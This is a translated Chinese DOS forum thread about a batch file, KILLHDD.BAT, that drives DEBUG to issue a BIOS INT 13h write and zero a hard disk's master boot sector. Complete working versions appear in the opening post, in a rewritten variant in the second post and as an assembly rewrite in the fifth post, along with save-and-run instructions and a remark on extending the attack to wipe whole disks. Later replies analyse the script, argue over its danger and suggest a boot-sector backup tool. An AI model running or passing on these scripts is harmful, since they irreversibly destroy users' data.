中国DOS联盟论坛

China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --
Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
Guest | Log in | Register | Members | Search | China DOS Union
中国DOS联盟论坛
The time now is 2026-08-26 00:56
47,812 topics / 349,910 posts / today 0 new / 48,264 members
DOS批处理 & 脚本技术(批处理室) » The Most Dangerous Batch File (Erase All Data on the Hard Disk)
Printable Version  3,876 / 12
Floor1 gmy Posted 2004-02-02 00:00
版主 Posts 392 Credits 1,113
This is an excellent chance to learn DEBUG!


@ECHO OFF
ECHO BE VERY CAREFUL, KILLHDD.bat WILL REMOVE EVRYTHING FROM YOUR DISK.
ECHO+
IF NOT EXIST %0 GOTO ERROR
ECHO PRESS A KEY TO DELETE ALL DATA ON YOUR HARD DISK, CTRL+C TO CANCEL.
pause >nul
DEBUG <%0
ECHO SUCCESS!
ECHO Computer is HALTED, Hit Ctrl+Alt+Del To Reboot . . .
CTTY NUL
A 100
INT 13

RAX
0301
RBX
0200
F 200 L 200 0
RCX
0001
RDX
0080
P
Q

;REPLACE 0080 WITH 0081 IF YOU
;WANT TO CLEAR THE SECOND PHYSICAL
;HDD, 0082 FOR THE THIRD HDD,ETC.

:ERROR
ECHO YOU MUST TYPE THE FULL FILE NAME (KILLHDD.BAT) TO EXECUTE.


How to use: create a new file, copy the above into it, save it as KILLHDD.BAT, put it on a boot disk (DEBUG.EXE must be there), and find an unused hard disk to experiment on.

Question: before, I had only heard of examples that clear sector 0. This is the first time I’ve seen a DEBUG program that zeroes the entire hard disk.
Please help analyze it.
Floor2 Kinglion Posted 2004-02-03 00:00
铂金会员 Posts 1,924 Credits 5,798 From 金獅電腦軟體工作室
This batch file can also be written like this:

@ECHO OFF
ECHO WARNING! BE VERY CAREFUL, KILLHDD.BAT Will REMOVE EVRYTHING FROM YOUR DISK.
ECHO.
IF NOT EXIST DEBUG.EXE GOTO ERROR
IF EXIST A.TXT DEL A.TXT
ECHO PRESS A KEY TO DELETE ALL DATA ON YOUR HARD DISK, CTRL+C TO CANCEL.
pause > nul
ECHO A 100 > A.TXT
ECHO INT 13 >> A.TXT
ECHO. >> A.TXT
ECHO R AX >> A.TXT
ECHO 0301 >> A.TXT
ECHO R BX >> A.TXT
ECHO 0200 >> A.TXT
ECHO F 200 L 200 0 >> A.TXT
ECHO R CX >> A.TXT
ECHO 0001 >> A.TXT
ECHO R DX >> A.TXT
ECHO 0080 >> A.TXT
ECHO P >> A.TXT
ECHO Q >> A.TXT
ECHO. >> A.TXT
DEBUG < A.TXT
ECHO SUCCESS!
ECHO Computer is HALTED, Hit Ctrl+Alt+Del To Reboot . . .
CTTY NUL

;REPLACE 0080 WITH 0081 IF YOU WANT TO CLEAR THE SECOND PHYSICAL HDD, 0082 FOR THE THIRD HDD,ETC.

:ERROR
ECHO DEBUG.EXE NOT FOUND!

If there’s anything inappropriate here, please point it out!
Floor3 willsort Posted 2004-02-06 00:00
元老会员 Posts 1,512 Credits 4,432
**********
Deleted by the author
**********
Floor4 willsort Posted 2004-02-06 00:00
元老会员 Posts 1,512 Credits 4,432
Re gmy:

Generally speaking, it exaggerates things a bit. In fact, this program can only clear the hard disk master boot sector (0,0,1). If you run it under windows, problems will also occur, because Windows DOS mode forbids direct hard disk read/write.

The key part of the program is that DEBUG script; everything else only serves as support and explanation. Let’s analyze it:

A 100 ;start assembling at 0100,
INT 13 ;call the ROM BIOS int13 interrupt for direct hard disk read/write
;end assembly. Below, set the values of registers ax, bx, cx, dx as parameters for int13
RAX ;
0301 ;03 means write to hard disk, 01 means write one sector
RBX
0200 ;0200 means write the bytes in memory at to the target sector
F 200 L 200 0 ;fill the bytes at with 0, length 200
RCX
0001 ;head 0, sector 1
RDX
0080 ;cylinder/track 0, 80 = first hard disk, second hard disk is 81
P ;execute the interrupt code at 0100
Q ;quit DEBUG











Floor5 willsort Posted 2004-02-06 00:00
元老会员 Posts 1,512 Credits 4,432
Re All:

That script just now is actually a very simple script, but for beginners it is still rather destructive. I recommend not trying it lightly.

To truly zero the entire hard disk, you must obtain the hard disk’s physical parameters, then clear the corresponding sectors in a loop. At present this is only an idea of mine; I have never actually implemented it.

Also, that script can be rewritten a bit more clearly:
f 200 L 200 0
a100
mov ax,0301 ;change this to 0201, and it will read one sector to
mov bx,0200
mov cx,0001
mov dx,0080
int13
int20

g
q
Floor6 tdj Posted 2004-02-06 00:00
银牌会员 Posts 332 Credits 1,131
To the brothers in the posts above, I’m begging you all, this kind of batch file is the most terrifying kind (not a virus, even nastier than a virus). Antivirus software is useless against it. With just a slight modification, once it runs, whether expert or novice, nobody can escape disaster. Better not make this kind of batch file at all! It’s still better to handle things manually!
Floor7 如是大师 Posted 2004-02-06 00:00
元老会员 Posts 3,351 Credits 9,654 From 湖北
Old Ge’s stuff is highly confidential over at DOS Home. Everyone, give him some face.。。
Floor8 iceboy Posted 2004-02-06 00:00
银牌会员 Posts 512 Credits 1,681
An alternative kind of “batch virus,” hehe
By the way, ctty nul was a magic prank tool in the DOS era
Floor9 morixin Posted 2004-02-07 00:00
初级用户 Posts 5 Credits 112
You call this kind of kiddie-tricking batch file powerful? What a joke! If you’ve really got the skill, try it under WIN2000 or NT. Let’s see how you play around in protected mode. And even taking a step back, even if it can clear it, any recovery tool can fix it right away! Truly zeroing a hard disk is absolutely not something you can get done in two or three seconds. Even the old Jiangmin bomb can be recovered now in under a minute.
Floor10 willsort Posted 2004-02-07 00:00
元老会员 Posts 1,512 Credits 4,432
Re tdj:

There is actually nothing wrong with letting everyone understand some basic common knowledge about operating hard disks under DOS; the method is just a bit extreme. For example, with a simple modification, the above code could be turned into a batch program for backing up and restoring the hard disk master boot sector and DOS boot sector. It would be simple and practical, and dealing with the malicious code above would then be very easy.

Re morixin:

I don’t know how high your skill level is, but I believe there are very few people who could recover from damage caused by the Jiangmin bomb within one minute. Why? Because even if you understand this area, once you add in judging the problem and making the program, the time required becomes much longer; if there is only one machine, the situation becomes even more awkward. Cases that can truly be completed within one minute can be said to be extremely rare, unless this happens to tens of thousands of machines at the same time and then you take the average time

So, brother, your thinking is a bit too idealized. If you know a lot, I suggest you post more of it here so that I and everyone else can learn together.







Floor11 tdj Posted 2004-02-07 00:00
银牌会员 Posts 332 Credits 1,131
Re willsort:I think that nowadays, when a single hard disk stores tens of gigabytes or even over a hundred gigabytes of data, the value of the hard disk itself is relatively much smaller. Prevention and avoidance should be the main focus. Once something happens, trying to mend the fold after the sheep are lost is already too late. The quality level of forum users varies, and if someone makes a mess of it, the people in the posts above will bear no small blame!!!
Re morixin: Destruction is faster than construction, and damage is easier than repair. Please think it over!!!!
Floor12 willsort Posted 2004-02-08 00:00
元老会员 Posts 1,512 Credits 4,432
Re tdj:

To prevent and avoid this, must we rely on monopoly of technique and ignorance? Rather than transparency and openness of information. As long as the solution is made public, the problem naturally will no longer be a problem.

Why not consider my suggestion and write a backup-and-restore program. Add detailed usage instructions, and prevention and avoidance will become very simple. That would count as a great good deed too.
Floor13 tdj Posted 2004-02-08 00:00
银牌会员 Posts 332 Credits 1,131
…………Sigh!…………Maybe you’re right. We can’t stop eating for fear of choking. I only count as a not-too-green newbie. Lately I’ve been reading posts in the teaching room and the Q&A room all along. If brother willsort checks the few most frequent questions, I wonder what he’ll think…
Some experts can hit wherever they point. Most people would probably still not know where they were pointing even after firing……



[ Contact the Union admin team - 中国DOS联盟 - Standard version ]
Sponsored by ifanr Inc | © 2001–2023